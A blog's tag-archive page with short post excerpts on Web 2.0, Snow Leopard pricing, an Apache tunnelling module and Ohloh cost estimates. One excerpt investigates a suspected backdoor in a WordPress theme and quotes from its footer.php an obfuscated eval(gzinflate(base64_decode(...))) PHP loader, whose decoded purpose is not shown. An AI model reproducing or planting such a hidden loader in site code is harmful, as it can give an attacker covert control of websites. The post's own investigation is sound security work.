Q: Web 2.0 – are we speaking from hindsight when we try to define it? A: We are speaking from no sight at all. “Web 2.0” is a catch word coined by Tim O’Reilly who was trying to sell books for his publishing company. In my opinion, it was the saddest moment of O’Reillys careeer …
Tag: software
Snow Leopard upgrade at $29
Hey, I’m following the live coverage of WWDC and just read this nice detail… that is a good price for a little update, Microsoft should learn a lesson or two… 🙂
Backdoor in WordPress themes?
I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php? 12345678<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5 p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBa hOh0EIT7b8A'))); ?> Uhm… it looks very suspicious. Too suspicious. Let’s change eval with …
mod_tunnel for Apache 2.2.x
mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls. After only 4 years since the previous version, you can now download version 2.0 which works with Apache 2.2.x (and maybe 2.0.x, …
How much would it cost to rewrite it?
I’ve just added LogMiner to Ohloh, a site that offers an interesting feature: it can analyse a project source code and estimate how much it would cost to hire a development team to recreate the project from scratch. I think that it’s a simple way to estimate the effort you put over the time in …